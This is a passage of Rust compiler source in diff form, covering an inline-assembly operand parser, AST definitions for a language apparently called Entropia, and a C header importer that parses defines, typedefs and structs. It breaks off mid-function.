return Ok(AsmOperand::Imm(parse_int_literal(s)?));
|
||||
}
|
||||
// Register name - strictly lowercase to match Reg64::from_name.
|
||||
let lower = s.to_ascii_lowercase();
|
||||
if let Some(r) = Reg64::from_name(&lower) {
|
||||
return Ok(AsmOperand::Reg(r));
|
||||
}
|
||||
// Bare identifier - equivalent to %name. The % prefix is
|
||||
// available for names that could collide with a register.
|
||||
if validate_ident(s).is_ok() {
|
||||
return Ok(AsmOperand::Sym(s.to_string()));
|
||||
}
|
||||
Err(format!("unknown operand `{s}` - expected register, immediate, %name, [mem], or label"))
|
||||
}
|
||||
|
||||
/// Strip a fs: / gs: prefix (case-insensitive). Returns
|
||||
/// (seg, rest) or None.
|
||||
fn strip_seg_prefix(s: &str) -> Option<(Segment, &str)> {
|
||||
let bytes = s.as_bytes();
|
||||
if bytes.len() < 3 || bytes[2] != b':' { return None; }
|
||||
let head = &s[..2];
|
||||
let seg = match head {
|
||||
"fs" | "Fs" | "fS" | "FS" => Segment::Fs,
|
||||
"gs" | "Gs" | "gS" | "GS" => Segment::Gs,
|
||||
_ => return None,
|
||||
};
|
||||
Some((seg, s[3..].trim_start()))
|
||||
}
|
||||
|
||||
/// [reg], [reg ± imm], [reg + reg[*N]], [reg + reg*N ± imm],
|
||||
/// [%name], [%name ± imm]. Scale ∈ {1,2,4,8}.
|
||||
fn parse_mem_operand(s: &str, seg: Option<Segment>) -> Result<AsmOperand, String> {
|
||||
let body = s.strip_prefix('[')
|
||||
.and_then(|r| r.strip_suffix(']'))
|
||||
.ok_or_else(|| format!("memory operand must be `[ ... ]` (got `{s}`)"))?
|
||||
.trim();
|
||||
if body.is_empty() {
|
||||
return Err("empty `[]` memory operand".into());
|
||||
}
|
||||
|
||||
let mut mem = AsmMem { base: None, index: None, disp: 0, seg };
|
||||
// Walk +/- separated terms. First term is implicitly positive.
|
||||
let mut cursor = 0usize;
|
||||
let bytes = body.as_bytes();
|
||||
let mut sign: i64 = 1;
|
||||
let mut first = true;
|
||||
while cursor < bytes.len() {
|
||||
while cursor < bytes.len() && (bytes[cursor] as char).is_ascii_whitespace() {
|
||||
cursor += 1;
|
||||
}
|
||||
if cursor >= bytes.len() { break; }
|
||||
if !first {
|
||||
match bytes[cursor] {
|
||||
b'+' => { sign = 1; cursor += 1; }
|
||||
b'-' => { sign = -1; cursor += 1; }
|
||||
_ => return Err(format!(
|
||||
"mem operand: expected `+` or `-` between terms in `[{body}]`"
|
||||
)),
|
||||
}
|
||||
while cursor < bytes.len() && (bytes[cursor] as char).is_ascii_whitespace() {
|
||||
cursor += 1;
|
||||
}
|
||||
}
|
||||
first = false;
|
||||
|
||||
// Term ends at the next +/- at the top level.
|
||||
let term_start = cursor;
|
||||
while cursor < bytes.len() && bytes[cursor] != b'+' && bytes[cursor] != b'-' {
|
||||
cursor += 1;
|
||||
}
|
||||
let term = body[term_start..cursor].trim();
|
||||
if term.is_empty() {
|
||||
return Err(format!("mem operand: empty term in `[{body}]`"));
|
||||
}
|
||||
apply_mem_term(&mut mem, term, sign, body)?;
|
||||
}
|
||||
|
||||
Ok(AsmOperand::Mem(mem))
|
||||
}
|
||||
|
||||
/// Fold one term: reg -> base, reg*N -> index, imm -> disp,
|
||||
/// %name -> sym base.
|
||||
fn apply_mem_term(mem: &mut AsmMem, term: &str, sign: i64, full: &str) -> Result<(), String> {
|
||||
// Scaled index: reg * N
|
||||
if let Some(star) = term.find('*') {
|
||||
let left = term[..star].trim();
|
||||
let right = term[star + 1..].trim();
|
||||
let reg = Reg64::from_name(&left.to_ascii_lowercase())
|
||||
.ok_or_else(|| format!("mem operand: `{left}*…` left side must be a register"))?;
|
||||
let scale = parse_int_literal(right)? as u32;
|
||||
if !matches!(scale, 1 | 2 | 4 | 8) {
|
||||
return Err(format!(
|
||||
"mem operand: scale must be 1/2/4/8 (got {scale}) in `[{full}]`"
|
||||
));
|
||||
}
|
||||
if mem.index.is_some() {
|
||||
return Err(format!("mem operand: multiple index terms in `[{full}]`"));
|
||||
}
|
||||
mem.index = Some((reg, scale));
|
||||
return Ok(());
|
||||
}
|
||||
// %name
|
||||
if let Some(name) = term.strip_prefix('%') {
|
||||
let name = name.trim();
|
||||
validate_ident(name)?;
|
||||
if mem.base.is_some() {
|
||||
return Err(format!("mem operand: two bases in `[{full}]`"));
|
||||
}
|
||||
mem.base = Some(AsmMemBase::Sym(name.to_string()));
|
||||
return Ok(());
|
||||
}
|
||||
// Register
|
||||
let lower = term.to_ascii_lowercase();
|
||||
if let Some(reg) = Reg64::from_name(&lower) {
|
||||
if mem.base.is_some() {
|
||||
// Second register becomes the index (scale 1).
|
||||
if mem.index.is_some() {
|
||||
return Err(format!(
|
||||
"mem operand: too many register terms in `[{full}]`"
|
||||
));
|
||||
}
|
||||
mem.index = Some((reg, 1));
|
||||
} else {
|
||||
mem.base = Some(AsmMemBase::Reg(reg));
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
// Otherwise: integer literal contributing to disp.
|
||||
let v = parse_int_literal(term)?;
|
||||
let signed = (sign as i64).wrapping_mul(v);
|
||||
let new_disp = (mem.disp as i64).wrapping_add(signed);
|
||||
if new_disp < i32::MIN as i64 || new_disp > i32::MAX as i64 {
|
||||
return Err(format!("mem operand: disp out of range in `[{full}]`"));
|
||||
}
|
||||
mem.disp = new_disp as i32;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// [A-Za-z_][A-Za-z0-9_]*.
|
||||
fn validate_ident(s: &str) -> Result<(), String> {
|
||||
let bytes = s.as_bytes();
|
||||
if bytes.is_empty() {
|
||||
return Err("empty identifier".into());
|
||||
}
|
||||
let first = bytes[0] as char;
|
||||
if !(first.is_ascii_alphabetic() || first == '_') {
|
||||
return Err(format!("identifier `{s}` must start with letter or `_`"));
|
||||
}
|
||||
for &b in &bytes[1..] {
|
||||
let c = b as char;
|
||||
if !(c.is_ascii_alphanumeric() || c == '_') {
|
||||
return Err(format!("identifier `{s}` has invalid char `{c}`"));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
//! Abstract Syntax Tree
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
|
||||
pub struct Span {
|
||||
pub line: u32,
|
||||
pub col: u32,
|
||||
}
|
||||
|
||||
impl Span {
|
||||
pub fn new(line: u32, col: u32) -> Self { Self { line, col } }
|
||||
pub fn is_unknown(self) -> bool { self.line == 0 && self.col == 0 }
|
||||
}
|
||||
|
||||
impl std::fmt::Display for Span {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
if self.is_unknown() { write!(f, "<unknown>") }
|
||||
else { write!(f, "{}:{}", self.line, self.col) }
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum Expr {
|
||||
Int(i64),
|
||||
Str(String),
|
||||
Bool(bool),
|
||||
Var(String),
|
||||
Assign { name: String, value: Box<Expr> },
|
||||
Unary { op: String, operand: Box<Expr> },
|
||||
Binary { op: String, lhs: Box<Expr>, rhs: Box<Expr> },
|
||||
Call { ns: String, fname: String, args: Vec<Expr>, span: Span },
|
||||
|
||||
/// base.field - struct field read. base evaluates to the struct's
|
||||
/// address; the codegen offsets from it.
|
||||
Field { base: Box<Expr>, field: String },
|
||||
/// base.field = value - struct field write.
|
||||
FieldAssign { base: Box<Expr>, field: String, value: Box<Expr> },
|
||||
/// *ptr = value - assignment through a pointer. The width of the
|
||||
/// store is taken from the pointee type when knowable (e.g. ptr is a
|
||||
/// u32* local), otherwise defaults to qword.
|
||||
DerefAssign { ptr: Box<Expr>, value: Box<Expr> },
|
||||
/// (type) expr - C-style cast. V1 is a no-op at the machine level
|
||||
/// (all scalars are 8-byte slots), kept as a syntactic marker so the
|
||||
/// future type checker can validate intent.
|
||||
Cast { ty: String, expr: Box<Expr> },
|
||||
SizeOf { ty: String },
|
||||
/// base[index] - indexed read. base is a pointer or array (T*
|
||||
/// or T[N]); the codegen multiplies index by sizeof to find
|
||||
/// the byte offset, then emits a width-correct load.
|
||||
Index { base: Box<Expr>, index: Box<Expr> },
|
||||
/// base[index] = value - indexed write. Mirrors Index for stores.
|
||||
IndexAssign { base: Box<Expr>, index: Box<Expr>, value: Box<Expr> },
|
||||
StructLit { ty: String, fields: Vec<(String, Expr)>, span: Span },
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum Stmt {
|
||||
Var { name: String, ty: String, value: Option<Expr>, span: Span },
|
||||
Expr { value: Expr, span: Span },
|
||||
If { cond: Expr, then_body: Vec<Stmt>, else_body: Vec<Stmt> },
|
||||
While { cond: Expr, body: Vec<Stmt> },
|
||||
For {
|
||||
init: Option<Box<Stmt>>,
|
||||
cond: Option<Expr>,
|
||||
step: Option<Box<Stmt>>,
|
||||
body: Vec<Stmt>,
|
||||
},
|
||||
/// break; - exit the innermost enclosing for/while.
|
||||
Break,
|
||||
/// continue; - jump to the step (for) or condition (while) of the
|
||||
/// innermost enclosing loop.
|
||||
Continue,
|
||||
Ret { value: Option<Expr>, span: Span },
|
||||
|
||||
/// try { body } catch err { handler } - desugars to longjmp-style PIC.
|
||||
Try { body: Vec<Stmt>, err_name: String, handler: Vec<Stmt> },
|
||||
|
||||
/// raise expr; - longjmp-style unwind. Evaluates expr into rax,
|
||||
/// then jumps to the innermost installed try handler. With no
|
||||
/// handler installed, the program returns 0xFF.
|
||||
Raise { value: Expr, span: Span },
|
||||
|
||||
/// inline assembly: a sequence of parsed instructions plus raw bytes.
|
||||
Asm (Vec<crate::asm::AsmLine>),
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Param { pub name: String, pub ty: String }
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Attr {
|
||||
pub kind: String,
|
||||
pub arg: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Function {
|
||||
pub name: String,
|
||||
pub params: Vec<Param>,
|
||||
pub ret_ty: String,
|
||||
pub body: Vec<Stmt>,
|
||||
/// Function-level attributes parsed from [Attr] prefixes.
|
||||
/// Order is preserved.
|
||||
pub attrs: Vec<Attr>,
|
||||
pub is_extern: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct StaticDecl {
|
||||
pub name: String,
|
||||
pub ty: String,
|
||||
pub init: Option<Expr>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct StructDef {
|
||||
pub name: String,
|
||||
pub fields: Vec<(String, String)>, // (field name, type name)
|
||||
pub is_union: bool,
|
||||
pub attrs: Vec<Attr>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct Program {
|
||||
pub structs: Vec<StructDef>,
|
||||
pub statics: Vec<StaticDecl>,
|
||||
pub functions: Vec<Function>,
|
||||
pub enums: Vec<EnumDecl>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct EnumDecl {
|
||||
pub name: String,
|
||||
pub variants: Vec<(String, i64)>,
|
||||
}
|
||||
+687
@@ -0,0 +1,687 @@
|
||||
|
||||
use std::fs;
|
||||
|
||||
use crate::ast::{Expr, StaticDecl, StructDef};
|
||||
|
||||
/// Output of parsing one C header.
|
||||
#[derive(Debug, Default)]
|
||||
pub struct CImport {
|
||||
pub statics: Vec<StaticDecl>,
|
||||
pub structs: Vec<StructDef>,
|
||||
}
|
||||
|
||||
/// Parse a header at path and produce Entropia AST nodes.
|
||||
pub fn parse_header(path: &str) -> Result<CImport, String> {
|
||||
let src = fs::read_to_string(path)
|
||||
.map_err(|e| format!("use_c `{path}`: {e}"))?;
|
||||
let mut p = CParser::new(&src, path);
|
||||
p.parse_all()?;
|
||||
Ok(p.out)
|
||||
}
|
||||
|
||||
// TOKENIZER
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum CTok {
|
||||
Ident(String),
|
||||
Int(i64),
|
||||
Hash, // #
|
||||
LBrace, RBrace,
|
||||
LParen, RParen,
|
||||
LBracket, RBracket,
|
||||
Semi,
|
||||
Comma,
|
||||
Star,
|
||||
Minus,
|
||||
Eof,
|
||||
}
|
||||
|
||||
struct CTokenizer<'a> {
|
||||
src: &'a [u8],
|
||||
pos: usize,
|
||||
line: u32,
|
||||
path: String,
|
||||
}
|
||||
|
||||
impl<'a> CTokenizer<'a> {
|
||||
fn new(src: &'a str, path: &str) -> Self {
|
||||
Self { src: src.as_bytes(), pos: 0, line: 1, path: path.to_string() }
|
||||
}
|
||||
|
||||
fn err(&self, msg: &str) -> String {
|
||||
format!("{}:{}: {}", self.path, self.line, msg)
|
||||
}
|
||||
|
||||
fn skip_ws_and_comments(&mut self) {
|
||||
loop {
|
||||
while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_whitespace() {
|
||||
if self.src[self.pos] == b'\n' { self.line += 1; }
|
||||
self.pos += 1;
|
||||
}
|
||||
if self.pos + 1 < self.src.len() && self.src[self.pos] == b'/' && self.src[self.pos+1] == b'/' {
|
||||
while self.pos < self.src.len() && self.src[self.pos] != b'\n' { self.pos += 1; }
|
||||
continue;
|
||||
}
|
||||
if self.pos + 1 < self.src.len() && self.src[self.pos] == b'/' && self.src[self.pos+1] == b'*' {
|
||||
self.pos += 2;
|
||||
while self.pos + 1 < self.src.len()
|
||||
&& !(self.src[self.pos] == b'*' && self.src[self.pos+1] == b'/')
|
||||
{
|
||||
if self.src[self.pos] == b'\n' { self.line += 1; }
|
||||
self.pos += 1;
|
||||
}
|
||||
if self.pos + 1 < self.src.len() { self.pos += 2; }
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fn next(&mut self) -> Result<CTok, String> {
|
||||
self.skip_ws_and_comments();
|
||||
if self.pos >= self.src.len() { return Ok(CTok::Eof); }
|
||||
let c = self.src[self.pos];
|
||||
|
||||
if (c as char).is_ascii_alphabetic() || c == b'_' {
|
||||
let start = self.pos;
|
||||
while self.pos < self.src.len()
|
||||
&& ((self.src[self.pos] as char).is_ascii_alphanumeric()
|
||||
|| self.src[self.pos] == b'_')
|
||||
{
|
||||
self.pos += 1;
|
||||
}
|
||||
let id = std::str::from_utf8(&self.src[start..self.pos]).unwrap().to_string();
|
||||
return Ok(CTok::Ident(id));
|
||||
}
|
||||
|
||||
if (c as char).is_ascii_digit() {
|
||||
let start = self.pos;
|
||||
if c == b'0' && self.pos + 1 < self.src.len()
|
||||
&& (self.src[self.pos+1] == b'x' || self.src[self.pos+1] == b'X')
|
||||
{
|
||||
self.pos += 2;
|
||||
let hs = self.pos;
|
||||
while self.pos < self.src.len()
|
||||
&& (self.src[self.pos] as char).is_ascii_hexdigit()
|
||||
{
|
||||
self.pos += 1;
|
||||
}
|
||||
let raw = std::str::from_utf8(&self.src[hs..self.pos]).unwrap();
|
||||
let v = u64::from_str_radix(raw, 16)
|
||||
.map_err(|e| self.err(&format!("bad hex literal: {e}")))? as i64;
|
||||
self.skip_int_suffix();
|
||||
return Ok(CTok::Int(v));
|
||||
}
|
||||
while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_digit() {
|
||||
self.pos += 1;
|
||||
}
|
||||
let raw = std::str::from_utf8(&self.src[start..self.pos]).unwrap();
|
||||
let v: i64 = raw.parse()
|
||||
.map_err(|e: std::num::ParseIntError| self.err(&format!("bad int literal: {e}")))?;
|
||||
self.skip_int_suffix();
|
||||
return Ok(CTok::Int(v));
|
||||
}
|
||||
|
||||
let tok = match c {
|
||||
b'#' => CTok::Hash,
|
||||
b'{' => CTok::LBrace, b'}' => CTok::RBrace,
|
||||
b'(' => CTok::LParen, b')' => CTok::RParen,
|
||||
b'[' => CTok::LBracket, b']' => CTok::RBracket,
|
||||
b';' => CTok::Semi,
|
||||
b',' => CTok::Comma,
|
||||
b'*' => CTok::Star,
|
||||
b'-' => CTok::Minus,
|
||||
_ => return Err(self.err(&format!("unexpected character `{}`", c as char))),
|
||||
};
|
||||
self.pos += 1;
|
||||
Ok(tok)
|
||||
}
|
||||
|
||||
fn skip_int_suffix(&mut self) {
|
||||
while self.pos < self.src.len() {
|
||||
let c = self.src[self.pos];
|
||||
if c == b'u' || c == b'U' || c == b'l' || c == b'L' {
|
||||
self.pos += 1;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// PARSER
|
||||
struct CParser<'a> {
|
||||
tok: CTokenizer<'a>,
|
||||
cur: CTok,
|
||||
/// Currently-known type names. Starts with the C primitive type-spelling
|
||||
/// vocabulary; grows as the file declares typedefs, structs, and unions.
|
||||
typedefs: std::collections::HashMap<String, String>,
|
||||
/// Struct/union tags declared so far. Used to resolve struct Tag and
|
||||
/// union Tag references.
|
||||
struct_tags: std::collections::HashSet<String>,
|
||||
out: CImport,
|
||||
path: String,
|
||||
/// Counter for anonymous nested struct/union types synthesized from
|
||||
/// struct { ... } name; fields.
|
||||
anon_counter: usize,
|
||||
}
|
||||
|
||||
impl<'a> CParser<'a> {
|
||||
fn new(src: &'a str, path: &str) -> Self {
|
||||
let mut typedefs = std::collections::HashMap::new();
|
||||
for (c_name, ek_name) in PRIMITIVES {
|
||||
typedefs.insert(c_name.to_string(), ek_name.to_string());
|
||||
}
|
||||
let mut tok = CTokenizer::new(src, path);
|
||||
let cur = tok.next().unwrap_or(CTok::Eof);
|
||||
Self {
|
||||
tok,
|
||||
cur,
|
||||
typedefs,
|
||||
struct_tags: std::collections::HashSet::new(),
|
||||
out: CImport::default(),
|
||||
path: path.to_string(),
|
||||
anon_counter: 0,
|
||||
}
|
||||
}
|
||||
|
||||
fn err(&self, msg: &str) -> String {
|
||||
format!("{}:{}: {}", self.path, self.tok.line, msg)
|
||||
}
|
||||
|
||||
fn advance(&mut self) -> Result<CTok, String> {
|
||||
let prev = std::mem::replace(&mut self.cur, CTok::Eof);
|
||||
self.cur = self.tok.next()?;
|
||||
Ok(prev)
|
||||
}
|
||||
|
||||
fn peek_ident(&self) -> Option<&str> {
|
||||
if let CTok::Ident(s) = &self.cur { Some(s.as_str()) } else { None }
|
||||
}
|
||||
|
||||
fn expect_ident(&mut self) -> Result<String, String> {
|
||||
match &self.cur {
|
||||
CTok::Ident(s) => { let s = s.clone(); self.advance()?; Ok(s) }
|
||||
other => Err(self.err(&format!("expected identifier, got {other:?}"))),
|
||||
}
|
||||
}
|
||||
|
||||
fn expect(&mut self, t: &CTok, what: &str) -> Result<(), String> {
|
||||
if std::mem::discriminant(&self.cur) == std::mem::discriminant(t) {
|
||||
self.advance()?; Ok(())
|
||||
} else {
|
||||
Err(self.err(&format!("expected {what}, got {:?}", self.cur)))
|
||||
}
|
||||
}
|
||||
|
||||
/// Skip "__attribute__((...))", "__declspec"", and SAL annotation
|
||||
/// idents like _In_, _Out_, _Reserved_. Returns true if at least
|
||||
/// one annotation was eaten so callers can re-check cur.
|
||||
fn skip_annotations(&mut self) -> Result<bool, String> {
|
||||
let mut ate = false;
|
||||
loop {
|
||||
let name = match self.peek_ident() {
|
||||
Some(s) => s.to_string(),
|
||||
None => break,
|
||||
};
|
||||
let is_attr = name == "__attribute__"
|
||||
|| name == "__declspec"
|
||||
|| name == "__cdecl"
|
||||
|| name == "__stdcall"
|
||||
|| name == "__fastcall"
|
||||
|| name == "__pragma"
|
||||
|| name == "STDMETHODCALLTYPE"
|
||||
|| name == "WINAPI"
|
||||
|| name == "CALLBACK"
|
||||
|| name == "APIENTRY"
|
||||
|| name == "NTAPI"
|
||||
|| name == "WSAAPI";
|
||||
let is_sal = name.starts_with('_')
|
||||
&& name.ends_with('_')
|
||||
&& name.len() >= 3
|
||||
&& name.chars().nth(1).map_or(false, |c| c.is_ascii_uppercase());
|
||||
if !(is_attr || is_sal) { break; }
|
||||
self.advance()?;
|
||||
// Some attributes are followed by (...). Eat balanced parens.
|
||||
if matches!(self.cur, CTok::LParen) {
|
||||
self.eat_balanced_parens()?;
|
||||
}
|
||||
ate = true;
|
||||
}
|
||||
Ok(ate)
|
||||
}
|
||||
|
||||
/// Process a balanced "(...)"" block. The opening paren must be the
|
||||
/// current token. We process it and everything up to (and including) its matching close.
|
||||
/// Used for annotation arguments and to skip function-pointer parameter lists we don't model.
|
||||
fn eat_balanced_parens(&mut self) -> Result<(), String> {
|
||||
self.expect(&CTok::LParen, "`(`")?;
|
||||
let mut depth: i32 = 1;
|
||||
while depth > 0 {
|
||||
match &self.cur {
|
||||
CTok::LParen => depth += 1,
|
||||
CTok::RParen => depth -= 1,
|
||||
CTok::Eof => return Err(self.err("unterminated `(...)`")),
|
||||
_ => {}
|
||||
}
|
||||
self.advance()?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_all(&mut self) -> Result<(), String> {
|
||||
loop {
|
||||
self.skip_annotations()?;
|
||||
match &self.cur {
|
||||
CTok::Eof => return Ok(()),
|
||||
CTok::Hash => self.parse_define()?,
|
||||
CTok::Ident(s) if s == "typedef" => self.parse_typedef()?,
|
||||
CTok::Ident(s) if s == "struct" => self.parse_record_decl(false)?,
|
||||
CTok::Ident(s) if s == "union" => self.parse_record_decl(true)?,
|
||||
CTok::Semi => { self.advance()?; }
|
||||
other => return Err(self.err(&format!(
|
||||
"expected `#define`, `typedef`, `struct`, or `union` at top level, got {other:?}"
|
||||
))),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// # define IDENT INTEGER
|
||||
fn parse_define(&mut self) -> Result<(), String> {
|
||||
self.advance()?; // eat #
|
||||
let kw = self.expect_ident()?;
|
||||
if kw != "define" {
|
||||
return Err(self.err(&format!("only `#define` is supported, got `#{kw}`")));
|
||||
}
|
||||
let name = self.expect_ident()?;
|
||||
let negate = if matches!(self.cur, CTok::Minus) {
|
||||
self.advance()?;
|
||||
true
|
||||
} else {
|
||||
false
|
||||
};
|
||||
let val = match &self.cur {
|
||||
CTok::Int(n) => { let v = *n; self.advance()?; if negate { -v } else { v } }
|
||||
other => return Err(self.err(&format!(
|
||||
"`#define {name}` must be followed by an integer literal (got {other:?}); \
|
||||
function-like macros aren't supported"
|
||||
))),
|
||||
};
|
||||
self.out.statics.push(StaticDecl {
|
||||
name,
|
||||
ty: "u32".to_string(),
|
||||
init: Some(Expr::Int(val)),
|
||||
});
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_typedef(&mut self) -> Result<(), String> {
|
||||
self.advance()?; // eat `typedef`
|
||||
self.skip_annotations()?;
|
||||
|
||||
// typedef struct/union ...
|
||||
if let CTok::Ident(s) = &self.cur {
|
||||
if s == "struct" || s == "union" {
|
||||
let is_union = s == "union";
|
||||
self.advance()?;
|
||||
self.skip_annotations()?;
|
||||
// Optional tag.
|
||||
let tag = if let CTok::Ident(t) = &self.cur {
|
||||
let t = t.clone();
|
||||
self.advance()?;
|
||||
if matches!(self.cur, CTok::LBrace) {
|
||||
Some(t)
|
||||
} else {
|
||||
// typedef struct OldTag NEW [, *PALIAS]*;
|
||||
let new_name = self.expect_ident()?;
|
||||
self.skip_pointer_aliases()?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
self.typedefs.insert(new_name, t);
|
||||
return Ok(());
|
||||
}
|
||||
} else { None };
|
||||
self.expect(&CTok::LBrace, "`{`")?;
|
||||
let fields = self.parse_field_list()?;
|
||||
self.expect(&CTok::RBrace, "`}`")?;
|
||||
let typedef_name = self.expect_ident()?;
|
||||
self.skip_pointer_aliases()?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
self.out.structs.push(StructDef {
|
||||
name: typedef_name.clone(),
|
||||
fields,
|
||||
is_union,
|
||||
attrs: Vec::new(),
|
||||
});
|
||||
self.struct_tags.insert(typedef_name.clone());
|
||||
if let Some(t) = tag {
|
||||
self.typedefs.insert(t.clone(), typedef_name.clone());
|
||||
self.struct_tags.insert(t);
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
// Plain typedef: typedef <type> <newname> [array]?;
|
||||
// OR function pointer: typedef <ret> [CC] (*NEW)(PARAMS);
|
||||
let base = self.parse_type_specifier()?;
|
||||
let stars = self.eat_pointer_stars();
|
||||
self.skip_annotations()?;
|
||||
|
||||
// Function pointer: an open paren here means we're in
|
||||
// typedef RET (*NAME)(...) or typedef RET (CC *NAME)(...).
|
||||
if matches!(self.cur, CTok::LParen) {
|
||||
return self.parse_function_pointer_typedef();
|
||||
}
|
||||
|
||||
let resolved = if stars > 0 { "u64".to_string() } else { base };
|
||||
let new_name = self.expect_ident()?;
|
||||
// Optional array suffix: typedef int Foo[3]; to register Foo as
|
||||
// an array typedef int[3]. Common in WinSDK headers.
|
||||
let final_ty = if matches!(self.cur, CTok::LBracket) {
|
||||
self.advance()?;
|
||||
let n = match &self.cur {
|
||||
CTok::Int(n) => { let v = *n as usize; self.advance()?; v }
|
||||
other => return Err(self.err(&format!(
|
||||
"expected integer array length in typedef, got {other:?}"
|
||||
))),
|
||||
};
|
||||
self.expect(&CTok::RBracket, "`]`")?;
|
||||
format!("{resolved}[{n}]")
|
||||
} else {
|
||||
resolved
|
||||
};
|
||||
self.skip_pointer_aliases()?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
self.typedefs.insert(new_name, final_ty);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_function_pointer_typedef(&mut self) -> Result<(), String> {
|
||||
self.expect(&CTok::LParen, "`(`")?;
|
||||
self.skip_annotations()?;
|
||||
// Optional inner * (or several). At least one is required for a
|
||||
// function-pointer typedef but we're forgiving.
|
||||
let _stars = self.eat_pointer_stars();
|
||||
self.skip_annotations()?;
|
||||
let name = self.expect_ident()?;
|
||||
self.expect(&CTok::RParen, "`)`")?;
|
||||
// Skip the parameter list.
|
||||
self.eat_balanced_parens()?;
|
||||
// Some headers stick attributes between the params and ;.
|
||||
self.skip_annotations()?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
self.typedefs.insert(name, "u64".to_string());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// struct|union NAME { fields }; - declaration without typedef.
|
||||
/// Or struct NAME; - forward declaration, registered as a struct
|
||||
/// tag of opaque size (treated as void* if used as a field).
|
||||
fn parse_record_decl(&mut self, is_union: bool) -> Result<(), String> {
|
||||
self.advance()?; // eat `struct` or `union`
|
||||
self.skip_annotations()?;
|
||||
let name = self.expect_ident()?;
|
||||
if matches!(self.cur, CTok::Semi) {
|
||||
self.advance()?;
|
||||
self.struct_tags.insert(name);
|
||||
return Ok(());
|
||||
}
|
||||
self.expect(&CTok::LBrace, "`{`")?;
|
||||
let fields = self.parse_field_list()?;
|
||||
self.expect(&CTok::RBrace, "`}`")?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
self.struct_tags.insert(name.clone());
|
||||
self.out.structs.push(StructDef { name, fields, is_union, attrs: Vec::new() });
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// <type> <name> [[N]] ; repeated until }. Also handles
|
||||
/// nested struct|union { fields } name; and RET (*name)(...)
|
||||
/// function-pointer fields.
|
||||
fn parse_field_list(&mut self) -> Result<Vec<(String, String)>, String> {
|
||||
let mut fields = Vec::new();
|
||||
while !matches!(self.cur, CTok::RBrace) {
|
||||
self.skip_annotations()?;
|
||||
|
||||
// Nested record: struct { ... } name; or union { ... } name;
|
||||
// (named or anonymous tag). The tag, if present, is recorded
|
||||
// and the synthesized name is used for the field type.
|
||||
if let CTok::Ident(s) = &self.cur {
|
||||
if s == "struct" || s == "union" {
|
||||
let is_union_inner = s == "union";
|
||||
// Peek-by-advance: save state for the rare case the
|
||||
// construct is struct Tag field; (use of a
|
||||
// previously-declared record by tag, no braces).
|
||||
self.advance()?;
|
||||
self.skip_annotations()?;
|
||||
let tag = if let CTok::Ident(t) = &self.cur {
|
||||
let t = t.clone();
|
||||
self.advance()?;
|
||||
Some(t)
|
||||
} else { None };
|
||||
|
||||
if matches!(self.cur, CTok::LBrace) {
|
||||
// Inline definition. Synthesize a name.
|
||||
let syn = match &tag {
|
||||
Some(t) if !t.is_empty() => t.clone(),
|
||||
_ => {
|
||||
self.anon_counter += 1;
|
||||
format!("__anon_{}_{}", if is_union_inner {"u"} else {"s"}, self.anon_counter)
|
||||
}
|
||||
};
|
||||
self.expect(&CTok::LBrace, "`{`")?;
|
||||
let inner_fields = self.parse_field_list()?;
|
||||
self.expect(&CTok::RBrace, "`}`")?;
|
||||
self.out.structs.push(StructDef {
|
||||
name: syn.clone(),
|
||||
fields: inner_fields,
|
||||
is_union: is_union_inner,
|
||||
attrs: Vec::new(),
|
||||
});
|
||||
self.struct_tags.insert(syn.clone());
|
||||
|
||||
self.skip_annotations()?;
|
||||
if matches!(self.cur, CTok::Semi) {
|
||||
// Anonymous member - synthesize a field name.
|
||||
self.advance()?;
|
||||
let fname = format!("__anon_field_{}", self.anon_counter);
|
||||
fields.push((fname, syn));
|
||||
continue;
|
||||
}
|
||||
let fname = self.expect_ident()?;
|
||||
let arr = self.maybe_array_suffix()?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
let final_ty = match arr {
|
||||
None => syn,
|
||||
Some(n) => format!("{syn}[{n}]"),
|
||||
};
|
||||
fields.push((fname, final_ty));
|
||||
continue;
|
||||
} else {
|
||||
let base = tag.clone().ok_or_else(|| self.err(
|
||||
"expected `{` or a tag after `struct`/`union` in field"
|
||||
))?;
|
||||
let stars = self.eat_pointer_stars();
|
||||
self.skip_annotations()?;
|
||||
let fname = self.expect_ident()?;
|
||||
let arr = self.maybe_array_suffix()?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
